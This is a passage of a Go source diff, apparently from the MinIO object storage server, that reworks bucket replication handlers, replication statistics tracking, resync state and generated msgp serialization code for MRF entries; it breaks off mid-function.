 	// Check if bucket exists.
-	if _, err := objectAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
-
+	if globalSiteReplicationSys.isEnabled() && logger.GetReqInfo(ctx).Cred.AccessKey != globalActiveCred.AccessKey {
+		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrReplicationDenyEditError), r.URL)
+		return
+	}
 	if versioned := globalBucketVersioningSys.Enabled(bucket); !versioned {
 		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrReplicationNeedsVersioningError), r.URL)
 		return
@@ -86,7 +85,7 @@ func (api objectAPIHandlers) PutBucketReplicationConfigHandler(w http.ResponseWr
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
-	if err = globalBucketMetadataSys.Update(ctx, bucket, bucketReplicationConfig, configData); err != nil {
+	if _, err = globalBucketMetadataSys.Update(ctx, bucket, bucketReplicationConfig, configData); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -118,7 +117,7 @@ func (api objectAPIHandlers) GetBucketReplicationConfigHandler(w http.ResponseWr
 		return
 	}
 	// Check if bucket exists.
-	if _, err := objectAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -157,7 +156,7 @@ func (api objectAPIHandlers) DeleteBucketReplicationConfigHandler(w http.Respons
 		return
 	}
 	// Check if bucket exists.
-	if _, err := objectAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -165,11 +164,26 @@ func (api objectAPIHandlers) DeleteBucketReplicationConfigHandler(w http.Respons
 		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrReplicationDenyEditError), r.URL)
 		return
 	}
-	if err := globalBucketMetadataSys.Update(ctx, bucket, bucketReplicationConfig, nil); err != nil {
+	if _, err := globalBucketMetadataSys.Delete(ctx, bucket, bucketReplicationConfig); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}

+	targets, err := globalBucketTargetSys.ListBucketTargets(ctx, bucket)
+	if err != nil {
+		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
+		return
+	}
+	for _, tgt := range targets.Targets {
+		if err := globalBucketTargetSys.RemoveTarget(ctx, bucket, tgt.Arn); err != nil {
+			writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
+			return
+		}
+	}
+	if _, err := globalBucketMetadataSys.Delete(ctx, bucket, bucketTargetsFile); err != nil {
+		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
+		return
+	}
 	// Write success response.
 	writeSuccessResponseHeadersOnly(w)
 }
@@ -198,10 +212,16 @@ func (api objectAPIHandlers) GetBucketReplicationMetricsHandler(w http.ResponseW
 	}

 	// Check if bucket exists.
-	if _, err := objectAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
+
+	if _, _, err := globalBucketMetadataSys.GetReplicationConfig(ctx, bucket); err != nil {
+		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
+		return
+	}
+
 	var usageInfo BucketUsageInfo
 	dataUsageInfo, err := loadDataUsageFromBackend(ctx, objectAPI)
 	if err == nil && !dataUsageInfo.LastUpdate.IsZero() {
@@ -211,7 +231,19 @@ func (api objectAPIHandlers) GetBucketReplicationMetricsHandler(w http.ResponseW
 	w.Header().Set(xhttp.ContentType, string(mimeJSON))

 	enc := json.NewEncoder(w)
-	if err = enc.Encode(getLatestReplicationStats(bucket, usageInfo)); err != nil {
+	stats := globalReplicationStats.getLatestReplicationStats(bucket, usageInfo)
+	bwRpt := globalNotificationSys.GetBandwidthReports(ctx, bucket)
+	bwMap := bwRpt.BucketStats[bucket]
+	for arn, st := range stats.Stats {
+		if bwMap != nil {
+			if bw, ok := bwMap[arn]; ok {
+				st.BandWidthLimitInBytesPerSecond = bw.LimitInBytesPerSecond
+				st.CurrentBandwidthInBytesPerSecond = bw.CurrentBandwidthInBytesPerSecond
+				stats.Stats[arn] = st
+			}
+		}
+	}
+	if err = enc.Encode(stats); err != nil {
 		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
 		return
 	}
@@ -261,7 +293,7 @@ func (api objectAPIHandlers) ResetBucketReplicationStartHandler(w http.ResponseW
 	}

 	// Check if bucket exists.
-	if _, err := objectAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -271,7 +303,13 @@ func (api objectAPIHandlers) ResetBucketReplicationStartHandler(w http.ResponseW
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
-	if !config.HasExistingObjectReplication(arn) {
+	hasARN, hasExistingObjEnabled := config.HasExistingObjectReplication(arn)
+	if !hasARN {
+		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrRemoteTargetNotFoundError), r.URL)
+		return
+	}
+
+	if !hasExistingObjEnabled {
 		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrReplicationNoExistingObjects), r.URL)
 		return
 	}
@@ -304,13 +342,33 @@ func (api objectAPIHandlers) ResetBucketReplicationStartHandler(w http.ResponseW
 	rinfo.Targets = append(rinfo.Targets, ResyncTarget{Arn: tgtArns[0], ResetID: target.ResetID})
 	if err = globalBucketTargetSys.SetTarget(ctx, bucket, &target, true); err != nil {
 		switch err.(type) {
-		case BucketRemoteConnectionErr:
+		case RemoteTargetConnectionErr:
 			writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrReplicationRemoteConnectionError, err), r.URL)
 		default:
 			writeErrorResponseJSON(ctx, w, toAPIError(ctx, err), r.URL)
 		}
 	}
-	if err := startReplicationResync(ctx, bucket, arn, resetID, resetBeforeDate, objectAPI); err != nil {
+	targets, err := globalBucketTargetSys.ListBucketTargets(ctx, bucket)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAPIError(ctx, err), r.URL)
+		return
+	}
+	tgtBytes, err := json.Marshal(&targets)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrAdminConfigBadJSON, err), r.URL)
+		return
+	}
+	if _, err = globalBucketMetadataSys.Update(ctx, bucket, bucketTargetsFile, tgtBytes); err != nil {
+		writeErrorResponseJSON(ctx, w, toAPIError(ctx, err), r.URL)
+		return
+	}
+
+	if err := globalReplicationPool.resyncer.start(ctx, objectAPI, resyncOpts{
+		bucket:       bucket,
+		arn:          arn,
+		resyncID:     resetID,
+		resyncBefore: resetBeforeDate,
+	}); err != nil {
 		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrBadRequest, InvalidArgument{
 			Bucket: bucket,
 			Err:    err,
@@ -350,7 +408,7 @@ func (api objectAPIHandlers) ResetBucketReplicationStatusHandler(w http.Response
 	}

 	// Check if bucket exists.
-	if _, err := objectAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -359,10 +417,13 @@ func (api objectAPIHandlers) ResetBucketReplicationStatusHandler(w http.Response
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
-
-	globalReplicationPool.resyncState.RLock()
-	brs, ok := globalReplicationPool.resyncState.statusMap[bucket]
-	globalReplicationPool.resyncState.RUnlock()
+	var tgtStats map[string]TargetReplicationResyncStatus
+	globalReplicationPool.resyncer.RLock()
+	brs, ok := globalReplicationPool.resyncer.statusMap[bucket]
+	if ok {
+		tgtStats = brs.cloneTgtStats()
+	}
+	globalReplicationPool.resyncer.RUnlock()
 	if !ok {
 		brs, err = loadBucketResyncMetadata(ctx, bucket, objectAPI)
 		if err != nil {
@@ -372,10 +433,11 @@ func (api objectAPIHandlers) ResetBucketReplicationStatusHandler(w http.Response
 			}), r.URL)
 			return
 		}
+		tgtStats = brs.cloneTgtStats()
 	}

 	var rinfo ResyncTargetsInfo
-	for tarn, st := range brs.TargetsMap {
+	for tarn, st := range tgtStats {
 		if arn != "" && tarn != arn {
 			continue
 		}
@@ -383,7 +445,7 @@ func (api objectAPIHandlers) ResetBucketReplicationStatusHandler(w http.Response
 			Arn:             tarn,
 			ResetID:         st.ResyncID,
 			StartTime:       st.StartTime,
-			EndTime:         st.EndTime,
+			EndTime:         st.LastUpdate,
 			ResyncStatus:    st.ResyncStatus.String(),
 			ReplicatedSize:  st.ReplicatedSize,
 			ReplicatedCount: st.ReplicatedCount,
@@ -19,6 +19,8 @@ package cmd

 import (
 	"context"
+	"encoding/binary"
+	"math"
 	"sync"
 	"time"

@@ -36,10 +38,12 @@ func (b *BucketReplicationStats) hasReplicationUsage() bool {

 // ReplicationStats holds the global in-memory replication stats
 type ReplicationStats struct {
-	Cache      map[string]*BucketReplicationStats
-	UsageCache map[string]*BucketReplicationStats
-	sync.RWMutex
-	ulock sync.RWMutex
+	Cache             map[string]*BucketReplicationStats
+	UsageCache        map[string]*BucketReplicationStats
+	mostRecentStats   BucketStatsMap
+	sync.RWMutex                   // mutex for Cache
+	ulock             sync.RWMutex // mutex for UsageCache
+	mostRecentStatsMu sync.Mutex   // mutex for mostRecentStats
 }

 // Delete deletes in-memory replication statistics for a bucket.
@@ -92,14 +96,23 @@ func (r *ReplicationStats) Update(bucket string, arn string, n int64, duration t
 		bs.Stats[arn] = b
 	}
 	switch status {
+	case replication.Pending:
+		if opType.IsDataReplication() && prevStatus != status {
+			b.PendingSize += n
+			b.PendingCount++
+		}
 	case replication.Completed:
 		switch prevStatus { // adjust counters based on previous state
+		case replication.Pending:
+			b.PendingCount--
 		case replication.Failed:
 			b.FailedCount--
 		}
-		if opType == replication.ObjectReplicationType {
+		if opType.IsDataReplication() {
 			b.ReplicatedSize += n
 			switch prevStatus {
+			case replication.Pending:
+				b.PendingSize -= n
 			case replication.Failed:
 				b.FailedSize -= n
 			}
@@ -108,10 +121,12 @@ func (r *ReplicationStats) Update(bucket string, arn string, n int64, duration t
 			}
 		}
 	case replication.Failed:
-		if opType == replication.ObjectReplicationType {
+		if opType.IsDataReplication() {
 			if prevStatus == replication.Pending {
 				b.FailedSize += n
 				b.FailedCount++
+				b.PendingSize -= n
+				b.PendingCount--
 			}
 		}
 	case replication.Replica:
@@ -176,9 +191,21 @@ func NewReplicationStats(ctx context.Context, objectAPI ObjectLayer) *Replicatio
 	}
 }

-// load replication metrics at cluster start from initial data usage
+// load replication metrics at cluster start from latest replication stats saved in .minio.sys/buckets/replication/node-name.stats
+// fallback to replication stats in data usage to be backward compatible
 func (r *ReplicationStats) loadInitialReplicationMetrics(ctx context.Context) {
-	rTimer := time.NewTimer(time.Minute)
+	m := make(map[string]*BucketReplicationStats)
+	if stats, err := globalReplicationPool.loadStatsFromDisk(); err == nil {
+		for b, st := range stats {
+			c := st.Clone()
+			m[b] = &c
+		}
+		r.ulock.Lock()
+		r.UsageCache = m
+		r.ulock.Unlock()
+		return
+	}
+	rTimer := time.NewTimer(time.Second * 5)
 	defer rTimer.Stop()
 	var (
 		dui DataUsageInfo
@@ -192,15 +219,12 @@ outer:
 		case <-rTimer.C:
 			dui, err = loadDataUsageFromBackend(GlobalContext, newObjectLayerFn())
 			// If LastUpdate is set, data usage is available.
-			if err == nil && !dui.LastUpdate.IsZero() {
+			if err == nil {
 				break outer
 			}
-
-			rTimer.Reset(time.Minute)
+			rTimer.Reset(time.Second * 5)
 		}
 	}
-
-	m := make(map[string]*BucketReplicationStats)
 	for bucket, usage := range dui.BucketsUsage {
 		b := &BucketReplicationStats{
 			Stats: make(map[string]*BucketReplicationStat, len(usage.ReplicationInfo)),
@@ -219,6 +243,146 @@ outer:
 		}
 	}
 	r.ulock.Lock()
-	defer r.ulock.Unlock()
 	r.UsageCache = m
+	r.ulock.Unlock()
+}
+
+// serializeStats will serialize the current stats.
+// Will return (nil, nil) if no data.
+func (r *ReplicationStats) serializeStats() ([]byte, error) {
+	if r == nil {
+		return nil, nil
+	}
+	r.mostRecentStatsMu.Lock()
+	defer r.mostRecentStatsMu.Unlock()
+	if len(r.mostRecentStats.Stats) == 0 {
+		return nil, nil
+	}
+	data := make([]byte, 4, 4+r.mostRecentStats.Msgsize())
+	// Add the replication stats meta header.
+	binary.LittleEndian.PutUint16(data[0:2], replStatsMetaFormat)
+	binary.LittleEndian.PutUint16(data[2:4], replStatsVersion)
+	// Add data
+	return r.mostRecentStats.MarshalMsg(data)
+}
+
+func (r *ReplicationStats) getAllLatest(bucketsUsage map[string]BucketUsageInfo) (bucketsReplicationStats map[string]BucketReplicationStats) {
+	peerBucketStatsList := globalNotificationSys.GetClusterAllBucketStats(GlobalContext)
+	bucketsReplicationStats = make(map[string]BucketReplicationStats, len(bucketsUsage))
+
+	for bucket, u := range bucketsUsage {
+		bucketStats := make([]BucketStats, len(peerBucketStatsList))
+		for i, peerBucketStats := range peerBucketStatsList {
+			bucketStat, ok := peerBucketStats.Stats[bucket]
+			if !ok {
+				continue
+			}
+			bucketStats[i] = bucketStat
+		}
+		bucketsReplicationStats[bucket] = r.calculateBucketReplicationStats(bucket, u, bucketStats)
+	}
+	return bucketsReplicationStats
+}
+
+func (r *ReplicationStats) calculateBucketReplicationStats(bucket string, u BucketUsageInfo, bucketStats []BucketStats) (s BucketReplicationStats) {
+	if r == nil {
+		s = BucketReplicationStats{
+			Stats: make(map[string]*BucketReplicationStat),
+		}
+		return s
+	}
+
+	// accumulate cluster bucket stats
+	stats := make(map[string]*BucketReplicationStat)
+	var totReplicaSize int64
+	for _, bucketStat := range bucketStats {
+		totReplicaSize += bucketStat.ReplicationStats.ReplicaSize
+		for arn, stat := range bucketStat.ReplicationStats.Stats {
+			oldst := stats[arn]
+			if oldst == nil {
+				oldst = &BucketReplicationStat{}
+			}
+			stats[arn] = &BucketReplicationStat{
+				FailedCount:    stat.FailedCount + oldst.FailedCount,
+				FailedSize:     stat.FailedSize + oldst.FailedSize,
+				ReplicatedSize: stat.ReplicatedSize + oldst.ReplicatedSize,
+				Latency:        stat.Latency.merge(oldst.Latency),
+				PendingCount:   stat.PendingCount + oldst.PendingCount,
+				PendingSize:    stat.PendingSize + oldst.PendingSize,
+			}
+		}
+	}
+
+	// add initial usage stat to cluster stats
+	usageStat := globalReplicationStats.GetInitialUsage(bucket)
+
+	totReplicaSize += usageStat.ReplicaSize
+	for arn, stat := range usageStat.Stats {
+		st, ok := stats[arn]
+		if !ok {
+			st = &BucketReplicationStat{}
+			stats[arn] = st
+		}
+		st.ReplicatedSize += stat.ReplicatedSize
+		st.FailedSize += stat.FailedSize
+		st.FailedCount += stat.FailedCount
+		st.PendingSize += stat.PendingSize
+		st.PendingCount += stat.PendingCount
+	}
+
+	s = BucketReplicationStats{
+		Stats: make(map[string]*BucketReplicationStat, len(stats)),
+	}
+
+	var latestTotReplicatedSize int64
+	for _, st := range u.ReplicationInfo {
+		latestTotReplicatedSize += int64(st.ReplicatedSize)
+	}
+
+	// normalize computed real time stats with latest usage stat
+	for arn, tgtstat := range stats {
+		st := BucketReplicationStat{}
+		bu, ok := u.ReplicationInfo[arn]
+		if !ok {
+			bu = BucketTargetUsageInfo{}
+		}
+		// use in memory replication stats if it is ahead of usage info.
+		st.ReplicatedSize = int64(bu.ReplicatedSize)
+		if tgtstat.ReplicatedSize >= int64(bu.ReplicatedSize) {
+			st.ReplicatedSize = tgtstat.ReplicatedSize
+		}
+		s.ReplicatedSize += st.ReplicatedSize
+		// Reset FailedSize and FailedCount to 0 for negative overflows which can
+		// happen since data usage picture can lag behind actual usage state at the time of cluster start
+		st.FailedSize = int64(math.Max(float64(tgtstat.FailedSize), 0))
+		st.FailedCount = int64(math.Max(float64(tgtstat.FailedCount), 0))
+		st.PendingSize = int64(math.Max(float64(tgtstat.PendingSize), 0))
+		st.PendingCount = int64(math.Max(float64(tgtstat.PendingCount), 0))
+		st.Latency = tgtstat.Latency
+
+		s.Stats[arn] = &st
+		s.FailedSize += st.FailedSize
+		s.FailedCount += st.FailedCount
+		s.PendingCount += st.PendingCount
+		s.PendingSize += st.PendingSize
+	}
+	// normalize overall stats
+	s.ReplicaSize = int64(math.Max(float64(totReplicaSize), float64(u.ReplicaSize)))
+	s.ReplicatedSize = int64(math.Max(float64(s.ReplicatedSize), float64(latestTotReplicatedSize)))
+	r.mostRecentStatsMu.Lock()
+	if len(r.mostRecentStats.Stats) == 0 {
+		r.mostRecentStats = BucketStatsMap{Stats: make(map[string]BucketStats, 1), Timestamp: UTCNow()}
+	}
+	if len(s.Stats) > 0 {
+		r.mostRecentStats.Stats[bucket] = BucketStats{ReplicationStats: s}
+	}
+	r.mostRecentStats.Timestamp = UTCNow()
+	r.mostRecentStatsMu.Unlock()
+	return s
+}
+
+// get the most current of in-memory replication stats  and data usage info from crawler.
+func (r *ReplicationStats) getLatestReplicationStats(bucket string, u BucketUsageInfo) (s BucketReplicationStats) {
+	bucketStats := globalNotificationSys.GetClusterBucketStats(GlobalContext, bucket)
+	return r.calculateBucketReplicationStats(bucket, u, bucketStats)
 }
@@ -21,12 +21,14 @@ import (
 	"bytes"
 	"fmt"
 	"net/http"
+	"net/url"
 	"regexp"
 	"strconv"
 	"strings"
 	"sync"
 	"time"

+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio/internal/bucket/replication"
 	xhttp "github.com/minio/minio/internal/http"
 )
@@ -503,6 +505,8 @@ func getHealReplicateObjectInfo(objInfo ObjectInfo, rcfg replicationConfig) Repl
 	}
 	var dsc ReplicateDecision
 	var tgtStatuses map[string]replication.StatusType
+	var purgeStatuses map[string]VersionPurgeStatusType
+
 	if oi.DeleteMarker || !oi.VersionPurgeStatus.Empty() {
 		dsc = checkReplicateDelete(GlobalContext, oi.Bucket, ObjectToDelete{
 			ObjectV: ObjectV{
@@ -516,15 +520,17 @@ func getHealReplicateObjectInfo(objInfo ObjectInfo, rcfg replicationConfig) Repl
 		}, replication.HealReplicationType, ObjectOptions{}))
 	}
 	tgtStatuses = replicationStatusesMap(oi.ReplicationStatusInternal)
-
+	purgeStatuses = versionPurgeStatusesMap(oi.VersionPurgeStatusInternal)
 	existingObjResync := rcfg.Resync(GlobalContext, oi, &dsc, tgtStatuses)
-
+	tm, _ := time.Parse(time.RFC3339Nano, oi.UserDefined[ReservedMetadataPrefixLower+ReplicationTimestamp])
 	return ReplicateObjectInfo{
-		ObjectInfo:        oi,
-		OpType:            replication.HealReplicationType,
-		Dsc:               dsc,
-		ExistingObjResync: existingObjResync,
-		TargetStatuses:    tgtStatuses,
+		ObjectInfo:           oi,
+		OpType:               replication.HealReplicationType,
+		Dsc:                  dsc,
+		ExistingObjResync:    existingObjResync,
+		TargetStatuses:       tgtStatuses,
+		TargetPurgeStatuses:  purgeStatuses,
+		ReplicationTimestamp: tm,
 	}
 }

@@ -622,26 +628,40 @@ func (v VersionPurgeStatusType) Pending() bool {
 	return v == Pending || v == Failed
 }

-type replicationResyncState struct {
+type replicationResyncer struct {
 	// map of bucket to their resync status
-	statusMap map[string]BucketReplicationResyncStatus
+	statusMap      map[string]BucketReplicationResyncStatus
+	workerSize     int
+	resyncCancelCh chan struct{}
+	workerCh       chan struct{}
 	sync.RWMutex
 }

 const (
-	replicationDir      = "replication"
+	replicationDir      = ".replication"
 	resyncFileName      = "resync.bin"
 	resyncMetaFormat    = 1
 	resyncMetaVersionV1 = 1
 	resyncMetaVersion   = resyncMetaVersionV1
 )

+type resyncOpts struct {
+	bucket       string
+	arn          string
+	resyncID     string
+	resyncBefore time.Time
+}
+
 // ResyncStatusType status of resync operation
 type ResyncStatusType int

 const (
 	// NoResync - no resync in progress
 	NoResync ResyncStatusType = iota
+	// ResyncPending - resync pending
+	ResyncPending
+	// ResyncCanceled - resync canceled
+	ResyncCanceled
 	// ResyncStarted -  resync in progress
 	ResyncStarted
 	// ResyncCompleted -  resync finished
@@ -650,6 +670,10 @@ const (
 	ResyncFailed
 )

+func (rt ResyncStatusType) isValid() bool {
+	return rt != NoResync
+}
+
 func (rt ResyncStatusType) String() string {
 	switch rt {
 	case ResyncStarted:
@@ -658,6 +682,10 @@ func (rt ResyncStatusType) String() string {
 		return "Completed"
 	case ResyncFailed:
 		return "Failed"
+	case ResyncPending:
+		return "Pending"
+	case ResyncCanceled:
+		return "Canceled"
 	default:
 		return ""
 	}
@@ -665,8 +693,8 @@ func (rt ResyncStatusType) String() string {

 // TargetReplicationResyncStatus status of resync of bucket for a specific target
 type TargetReplicationResyncStatus struct {
-	StartTime time.Time `json:"startTime" msg:"st"`
-	EndTime   time.Time `json:"endTime" msg:"et"`
+	StartTime  time.Time `json:"startTime" msg:"st"`
+	LastUpdate time.Time `json:"lastUpdated" msg:"lst"`
 	// Resync ID assigned to this reset
 	ResyncID string `json:"resyncID" msg:"id"`
 	// ResyncBeforeDate - resync all objects created prior to this date
@@ -695,6 +723,14 @@ type BucketReplicationResyncStatus struct {
 	LastUpdate time.Time                                `json:"lastUpdate" msg:"lu"`
 }

+func (rs *BucketReplicationResyncStatus) cloneTgtStats() (m map[string]TargetReplicationResyncStatus) {
+	m = make(map[string]TargetReplicationResyncStatus)
+	for arn, st := range rs.TargetsMap {
+		m[arn] = st
+	}
+	return
+}
+
 func newBucketResyncStatus(bucket string) BucketReplicationResyncStatus {
 	return BucketReplicationResyncStatus{
 		TargetsMap: make(map[string]TargetReplicationResyncStatus),
@@ -724,3 +760,50 @@ func parseSizeFromContentRange(h http.Header) (sz int64, err error) {
 	}
 	return int64(usz), nil
 }
+
+func extractReplicateDiffOpts(q url.Values) (opts madmin.ReplDiffOpts) {
+	opts.Verbose = q.Get("verbose") == "true"
+	opts.ARN = q.Get("arn")
+	opts.Prefix = q.Get("prefix")
+	return
+}
+
+const (
+	replicationMRFDir = bucketMetaPrefix + SlashSeparator + replicationDir + SlashSeparator + "mrf"
+	mrfMetaFormat     = 1
+	mrfMetaVersionV1  = 1
+	mrfMetaVersion    = mrfMetaVersionV1
+)
+
+// MRFReplicateEntry mrf entry to save to disk
+type MRFReplicateEntry struct {
+	Bucket    string `json:"bucket" msg:"b"`
+	Object    string `json:"object" msg:"o"`
+	versionID string `json:"-"`
+}
+
+// MRFReplicateEntries has the map of MRF entries to save to disk
+type MRFReplicateEntries struct {
+	Entries map[string]MRFReplicateEntry `json:"entries" msg:"e"`
+	Version int                          `json:"version" msg:"v"`
+}
+
+// ToMRFEntry returns the relevant info needed by MRF
+func (ri ReplicateObjectInfo) ToMRFEntry() MRFReplicateEntry {
+	return MRFReplicateEntry{
+		Bucket:    ri.Bucket,
+		Object:    ri.Name,
+		versionID: ri.VersionID,
+	}
+}
+
+func getReplicationStatsPath() string {
+	return bucketMetaPrefix + SlashSeparator + replicationDir + SlashSeparator + "replication.stats"
+}
+
+const (
+	replStatsMetaFormat   = 1
+	replStatsVersionV1    = 1
+	replStatsVersion      = replStatsVersionV1
+	replStatsSaveInterval = time.Minute * 5
+)
@@ -260,6 +260,413 @@ func (z *BucketReplicationResyncStatus) Msgsize() (s int) {
 	return
 }

+// DecodeMsg implements msgp.Decodable
+func (z *MRFReplicateEntries) DecodeMsg(dc *msgp.Reader) (err error) {
+	var field []byte
+	_ = field
+	var zb0001 uint32
+	zb0001, err = dc.ReadMapHeader()
+	if err != nil {
+		err = msgp.WrapError(err)
+		return
+	}
+	for zb0001 > 0 {
+		zb0001--
+		field, err = dc.ReadMapKeyPtr()
+		if err != nil {
+			err = msgp.WrapError(err)
+			return
+		}
+		switch msgp.UnsafeString(field) {
+		case "e":
+			var zb0002 uint32
+			zb0002, err = dc.ReadMapHeader()
+			if err != nil {
+				err = msgp.WrapError(err, "Entries")
+				return
+			}
+			if z.Entries == nil {
+				z.Entries = make(map[string]MRFReplicateEntry, zb0002)
+			} else if len(z.Entries) > 0 {
+				for key := range z.Entries {
+					delete(z.Entries, key)
+				}
+			}
+			for zb0002 > 0 {
+				zb0002--
+				var za0001 string
+				var za0002 MRFReplicateEntry
+				za0001, err = dc.ReadString()
+				if err != nil {
+					err = msgp.WrapError(err, "Entries")
+					return
+				}
+				var zb0003 uint32
+				zb0003, err = dc.ReadMapHeader()
+				if err != nil {
+					err = msgp.WrapError(err, "Entries", za0001)
+					return
+				}
+				for zb0003 > 0 {
+					zb0003--
+					field, err = dc.ReadMapKeyPtr()
+					if err != nil {
+						err = msgp.WrapError(err, "Entries", za0001)
+						return
+					}
+					switch msgp.UnsafeString(field) {
+					case "b":
+						za0002.Bucket, err = dc.ReadString()
+						if err != nil {
+							err = msgp.WrapError(err, "Entries", za0001, "Bucket")
+							return
+						}
+					case "o":
+						za0002.Object, err = dc.ReadString()
+						if err != nil {
+							err = msgp.WrapError(err, "Entries", za0001, "Object")
+							return
+						}
+					default:
+						err = dc.Skip()
+						if err != nil {
+							err = msgp.WrapError(err, "Entries", za0001)
+							return
+						}
+					}
+				}
+				z.Entries[za0001] = za0002
+			}
+		case "v":
+			z.Version, err = dc.ReadInt()
+			if err != nil {
+				err = msgp.WrapError(err, "Version")
+				return
+			}
+		default:
+			err = dc.Skip()
+			if err != nil {
+				err = msgp.WrapError(err)
+				return
+			}
+		}
+	}
+	return
+}
+
+// EncodeMsg implements msgp.Encodable
+func (z *MRFReplicateEntries) EncodeMsg(en *msgp.Writer) (err error) {
+	// map header, size 2
+	// write "e"
+	err = en.Append(0x82, 0xa1, 0x65)
+	if err != nil {
+		return
+	}
+	err = en.WriteMapHeader(uint32(len(z.Entries)))
+	if err != nil {
+		err = msgp.WrapError(err, "Entries")
+		return
+	}
+	for za0001, za0002 := range z.Entries {
+		err = en.WriteString(za0001)
+		if err != nil {
+			err = msgp.WrapError(err, "Entries")
+			return
+		}
+		// map header, size 2
+		// write "b"
+		err = en.Append(0x82, 0xa1, 0x62)
+		if err != nil {
+			return
+		}
+		err = en.WriteString(za0002.Bucket)
+		if err != nil {
+			err = msgp.WrapError(err, "Entries", za0001, "Bucket")
+			return
+		}
+		// write "o"
+		err = en.Append(0xa1, 0x6f)
+		if err != nil {
+			return
+		}
+		err = en.WriteString(za0002.Object)
+		if err != nil {
+			err = msgp.WrapError(err, "Entries", za0001, "Object")
+			return
+		}
+	}
+	// write "v"
+	err = en.Append(0xa1, 0x76)
+	if err != nil {
+		return
+	}
+	err = en.WriteInt(z.Version)
+	if err != nil {
+		err = msgp.WrapError(err, "Version")
+		return
+	}
+	return
+}
+
+// MarshalMsg implements msgp.Marshaler
+func (z *MRFReplicateEntries) MarshalMsg(b []byte) (o []byte, err error) {
+	o = msgp.Require(b, z.Msgsize())
+	// map header, size 2
+	// string "e"
+	o = append(o, 0x82, 0xa1, 0x65)
+	o = msgp.AppendMapHeader(o, uint32(len(z.Entries)))
+	for za0001, za0002 := range z.Entries {
+		o = msgp.AppendString(o, za0001)
+		// map header, size 2
+		// string "b"
+		o = append(o, 0x82, 0xa1, 0x62)
+		o = msgp.AppendString(o, za0002.Bucket)
+		// string "o"
+		o = append(o, 0xa1, 0x6f)
+		o = msgp.AppendString(o, za0002.Object)
+	}
+	// string "v"
+	o = append(o, 0xa1, 0x76)
+	o = msgp.AppendInt(o, z.Version)
+	return
+}
+
+// UnmarshalMsg implements msgp.Unmarshaler
+func (z *MRFReplicateEntries) UnmarshalMsg(bts []byte) (o []byte, err error) {
+	var field []byte
+	_ = field
+	var zb0001 uint32
+	zb0001, bts, err = msgp.ReadMapHeaderBytes(bts)
+	if err != nil {
+		err = msgp.WrapError(err)
+		return
+	}
+	for zb0001 > 0 {
+		zb0001--
+		field, bts, err = msgp.ReadMapKeyZC(bts)
+		if err != nil {
+			err = msgp.WrapError(err)
+			return
+		}
+		switch msgp.UnsafeString(field) {
+		case "e":
+			var zb0002 uint32
+			zb0002, bts, err = msgp.ReadMapHeaderBytes(bts)
+			if err != nil {
+				err = msgp.WrapError(err, "Entries")
+				return
+			}
+			if z.Entries == nil {
+				z.Entries = make(map[string]MRFReplicateEntry, zb0002)
+			} else if len(z.Entries) > 0 {
+				for key := range z.Entries {
+					delete(z.Entries, key)
+				}
+			}
+			for zb0002 > 0 {
+				var za0001 string
+				var za0002 MRFReplicateEntry
+				zb0002--
+				za0001, bts, err = msgp.ReadStringBytes(bts)
+				if err != nil {
+					err = msgp.WrapError(err, "Entries")
+					return
+				}
+				var zb0003 uint32
+				zb0003, bts, err = msgp.ReadMapHeaderBytes(bts)
+				if err != nil {
+					err = msgp.WrapError(err, "Entries", za0001)
+					return
+				}
+				for zb0003 > 0 {
+					zb0003--
+					field, bts, err = msgp.ReadMapKeyZC(bts)
+					if err != nil {
+						err = msgp.WrapError(err, "Entries", za0001)
+						return
+					}
+					switch msgp.UnsafeString(field) {
+					case "b":
+						za0002.Bucket, bts, err = msgp.ReadStringBytes(bts)
+						if err != nil {
+							err = msgp.WrapError(err, "Entries", za0001, "Bucket")
+							return
+						}
+					case "o":
+						za0002.Object, bts, err = msgp.ReadStringBytes(bts)
+						if err != nil {
+							err = msgp.WrapError(err, "Entries", za0001, "Object")
+							return
+						}
